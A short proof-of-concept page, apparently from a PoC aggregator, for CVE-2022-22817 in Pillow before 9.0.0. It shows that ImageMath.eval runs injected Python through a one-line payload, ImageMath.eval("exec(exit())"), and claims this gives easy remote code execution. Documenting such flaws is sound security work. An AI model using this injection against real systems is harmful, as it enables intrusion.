CVE-2022-22817 PoC — Pillow 安全漏洞

Source

Associated Vulnerability

Description

Example of CVE-2022-22817 

Readme

# Intro
`PIL.ImageMath.eval()` Evaluate expression in the given environment.
For example:
```math
a * 2
```
We can use this to take RCE so easy if the target uses `PIL.ImageMath.eval` in Pillow before 9.0.0

# PoC
Instead using `ImageMath.eval()` for math opreations, we may insert `exec()` like this 
```python
ImageMath.eval("exec(exit())")
```
it will execute what's inside right away

# Support
If you would like to support me with donation, I recommend you to give it to someone who really need it please. If you do so then consider that i earned your support.

<a href="https://www.buymeacoffee.com/jawadpy" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-green.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a>

File Snapshot

 [4.0K]  /data/pocs/cc93adc3e392dd14dca8d8935adfdf8eea02d274
└── [ 784]  README.md

0 directories, 1 file

Remarks